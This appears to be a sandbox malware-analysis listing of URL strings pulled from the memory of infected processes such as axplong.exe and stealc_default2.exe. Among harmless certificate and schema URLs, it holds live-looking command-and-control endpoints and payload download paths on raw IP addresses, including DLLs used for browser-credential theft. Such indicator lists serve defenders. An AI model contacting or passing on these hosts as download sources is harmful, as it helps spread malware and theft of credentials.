Source: axplong.exe, 00000006.00000002.3518419435.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php/
Source: axplong.exe, 00000006.00000002.3526057863.000000000598A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpUsers
Source: axplong.exe, 00000006.00000002.3526057863.000000000598A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpbg
Source: axplong.exe, 00000006.00000002.3518419435.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpded
Source: axplong.exe, 00000006.00000002.3526057863.000000000598A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpft
Source: axplong.exe, 00000006.00000002.3526057863.000000000598A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phphell32.dll
Source: axplong.exe, 00000006.00000002.3518419435.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpn
Source: axplong.exe, 00000006.00000002.3526057863.000000000598A000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3518419435.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpncoded
Source: axplong.exe, 00000006.00000002.3526057863.000000000598A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpnu
Source: axplong.exe, 00000006.00000002.3518419435.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/XN
Source: axplong.exe, 00000006.00000002.3518419435.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/inc/cccc2.exe
Source: axplong.exe, 00000006.00000002.3518419435.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/inc/cccc2.exeJ
Source: axplong.exe, 00000006.00000002.3518419435.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/inc/neon.exe
Source: axplong.exe, 00000006.00000002.3518419435.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/inc/newbundle2.exe
Source: axplong.exe, 00000006.00000002.3518419435.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/inc/newbundle2.exeX7
Source: axplong.exe, 00000006.00000002.3518419435.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/inc/penis.exe
Source: axplong.exe, 00000006.00000002.3518419435.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/inc/rstxdhuj.exe
Source: axplong.exe, 00000006.00000002.3518419435.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/inc/rstxdhuj.exeP
Source: axplong.exe, 00000006.00000002.3518419435.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/inc/stealc_default2.exe
Source: axplong.exe, 00000006.00000002.3518419435.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/inc/stealc_default2.exe(P
Source: axplong.exe, 00000006.00000002.3518419435.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/ineer
Source: stealc_default2.exe, 00000017.00000002.3068872284.0000000000ADD000.00000004.00000001.01000000.00000012.sdmp, stealc_default2.exe, 00000017.00000002.3070584798.000000000101E000.00000004.00000020.00020000.00000000.sdmp, stealc_default2.exe, 00000017.00000002.3068872284.000000000096C000.00000004.00000001.01000000.00000012.sdmp	String found in binary or memory: http://185.215.113.17
Source: stealc_default2.exe, 00000017.00000002.3070584798.000000000101E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001062000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/2fb6c2cc8dce150a.php
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001062000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/2fb6c2cc8dce150a.php6
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001062000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/2fb6c2cc8dce150a.phpB
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001062000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/2fb6c2cc8dce150a.phpN
Source: stealc_default2.exe, 00000017.00000003.2939108563.000000000110A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/2fb6c2cc8dce150a.phpTK
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001062000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/2fb6c2cc8dce150a.phpZ
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001081000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/2fb6c2cc8dce150a.phpdll
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001081000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/2fb6c2cc8dce150a.phperbird
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001081000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/2fb6c2cc8dce150a.phpf
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001062000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/2fb6c2cc8dce150a.phpr
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001081000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/2fb6c2cc8dce150a.phprowser
Source: stealc_default2.exe, 00000017.00000002.3068872284.0000000000ADD000.00000004.00000001.01000000.00000012.sdmp	String found in binary or memory: http://185.215.113.17/2fb6c2cc8dce150a.phption:
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001062000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/2fb6c2cc8dce150a.php~
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001062000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/A
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001062000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/H
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001072000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/f1ddeb6592c03206/freebl3.dll&
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001072000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/f1ddeb6592c03206/freebl3.dlll
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001072000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/f1ddeb6592c03206/mozglue.dll
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001072000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/f1ddeb6592c03206/mozglue.dll~
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001072000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/f1ddeb6592c03206/msvcp140.dll
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001072000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/f1ddeb6592c03206/msvcp140.dllb
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001072000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/f1ddeb6592c03206/msvcp140.dllh
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001072000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/f1ddeb6592c03206/msvcp140.dllz
Source: stealc_default2.exe, 00000017.00000002.3070584798.000000000104F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/f1ddeb6592c03206/nss3.dll
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001062000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/f1ddeb6592c03206/nss3.dllrowser
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001072000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/f1ddeb6592c03206/softokn3.dll
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001072000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/f1ddeb6592c03206/softokn3.dll4
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001072000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/f1ddeb6592c03206/softokn3.dllB
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001072000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/f1ddeb6592c03206/softokn3.dllF
Source: stealc_default2.exe, 00000017.00000002.3068872284.000000000099A000.00000004.00000001.01000000.00000012.sdmp, stealc_default2.exe, 00000017.00000002.3070584798.0000000001072000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/f1ddeb6592c03206/sqlite3.dll
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001072000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/f1ddeb6592c03206/vcruntime140.dll
Source: stealc_default2.exe, 00000017.00000002.3070584798.0000000001072000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17/f1ddeb6592c03206/vcruntime140.dll)
Source: stealc_default2.exe, 00000017.00000002.3068872284.0000000000ADD000.00000004.00000001.01000000.00000012.sdmp	String found in binary or memory: http://185.215.113.172fb6c2cc8dce150a.phption:
Source: stealc_default2.exe, 00000017.00000002.3070584798.000000000101E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.17nm
Source: axplong.exe, 00000006.00000002.3518419435.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.26/Nework.exe
Source: axplong.exe, 00000006.00000002.3518419435.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.116.215.195/12dsvc.exe
Source: axplong.exe, 00000006.00000002.3518419435.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.116.215.195/12dsvc.exeZ
Source: svchost015.exe, 0000001E.00000002.3324897526.000000000043C000.00000040.00000400.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000002.3376541999.0000000000BFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.158
Source: svchost015.exe, 0000001E.00000002.3376541999.0000000000C42000.00000004.00000020.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000002.3376541999.0000000000C2E000.00000004.00000020.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000002.3376541999.0000000000BFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.158/
Source: svchost015.exe, 0000001E.00000002.3376541999.0000000000BFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.158/#0
Source: svchost015.exe, 0000001E.00000002.3442582690.0000000027040000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.158//
Source: svchost015.exe, 0000001E.00000002.3376541999.0000000000C2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.158/2.233.158/ppData
Source: svchost015.exe, 0000001E.00000002.3376541999.0000000000C42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.158/3836fd5700214436/freebl3.dllG
Source: svchost015.exe, 0000001E.00000002.3376541999.0000000000C42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.158/3836fd5700214436/freebl3.dllu
Source: svchost015.exe, 0000001E.00000002.3376541999.0000000000C42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.158/3836fd5700214436/mozglue.dll
Source: svchost015.exe, 0000001E.00000002.3376541999.0000000000C42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.158/3836fd5700214436/mozglue.dllQ
Source: svchost015.exe, 0000001E.00000002.3376541999.0000000000C42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.158/3836fd5700214436/msvcp140.dll
Source: svchost015.exe, 0000001E.00000002.3376541999.0000000000C2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.158/3836fd5700214436/nss3.dll
Source: svchost015.exe, 0000001E.00000002.3376541999.0000000000C2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.158/3836fd5700214436/nss3.dllV
Source: svchost015.exe, 0000001E.00000002.3376541999.0000000000C42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.158/3836fd5700214436/softokn3.dll
Source: svchost015.exe, 0000001E.00000002.3376541999.0000000000C42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.158/3836fd5700214436/softokn3.dll1
Source: svchost015.exe, 0000001E.00000002.3376541999.0000000000C42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.158/3836fd5700214436/softokn3.dlli
Source: svchost015.exe, 0000001E.00000002.3324897526.000000000046A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.158/3836fd5700214436/sqlite3.dll
Source: svchost015.exe, 0000001E.00000002.3376541999.0000000000C42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.158/3836fd5700214436/sqlite3.dll#
Source: svchost015.exe, 0000001E.00000002.3376541999.0000000000C42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.158/3836fd5700214436/vcruntime140.dll
Source: svchost015.exe, 0000001E.00000002.3376541999.0000000000C42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.158/3836fd5700214436/vcruntime140.dll8
Source: svchost015.exe, 0000001E.00000002.3376541999.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.158/e96ea2db21fa9a1b.php
Source: svchost015.exe, 0000001E.00000002.3442582690.0000000027040000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.158/e96ea2db21fa9a1b.phpD
Source: svchost015.exe, 0000001E.00000002.3376541999.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.158/e96ea2db21fa9a1b.phpM
Source: svchost015.exe, 0000001E.00000002.3376541999.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.158/e96ea2db21fa9a1b.phpU
Source: svchost015.exe, 0000001E.00000002.3442582690.0000000027040000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.158/e96ea2db21fa9a1b.phpV
Source: svchost015.exe, 0000001E.00000002.3376541999.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.158/e96ea2db21fa9a1b.phpY
Source: svchost015.exe, 0000001E.00000002.3376541999.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.158/e96ea2db21fa9a1b.phpe
Source: svchost015.exe, 0000001E.00000002.3376541999.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.158/e96ea2db21fa9a1b.phpi
Source: svchost015.exe, 0000001E.00000002.3376541999.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.158/e96ea2db21fa9a1b.phprowser
Source: svchost015.exe, 0000001E.00000002.3376541999.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.158/e96ea2db21fa9a1b.phps
Source: svchost015.exe, 0000001E.00000002.3324897526.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.158/e96ea2db21fa9a1b.phptware
Source: svchost015.exe, 0000001E.00000002.3442582690.0000000027040000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.158/e96ea2db21fa9a1b.phpx
Source: svchost015.exe, 0000001E.00000002.3442582690.0000000027040000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.158/g
Source: svchost015.exe, 0000001E.00000002.3376541999.0000000000C2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.158/ta
Source: svchost015.exe, 0000001E.00000002.3324897526.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://91.202.233.158BGIJEH--
Source: needmoney.exe, 00000018.00000002.3021996080.0000000002E20000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cert.ssl.com/SSLcom-SubCA-CodeSigning-RSA-4096-R1.cer0Q
Source: needmoney.exe, 00000018.00000002.3021996080.0000000002E20000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: needmoney.exe, 00000018.00000002.3021996080.0000000002E20000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crls.ssl.com/SSLcom-SubCA-CodeSigning-RSA-4096-R1.crl0
Source: needmoney.exe, 00000018.00000002.3021996080.0000000002E20000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crls.ssl.com/ssl.com-rsa-RootCA.crl0
Source: needmoney.exe, 00000018.00000002.3021996080.0000000002E20000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
Source: needmoney.exe, 00000018.00000002.3021996080.0000000002E20000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: needmoney.exe, 00000018.00000002.3021996080.0000000002E20000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsps.ssl.com0
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap
Source: RegAsm.exe, 0000000B.00000002.3526374520.0000000002B20000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000031B1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: RegAsm.exe, 0000000B.00000002.3526374520.0000000002B20000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000031B1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2002/12/policy
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/sc
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
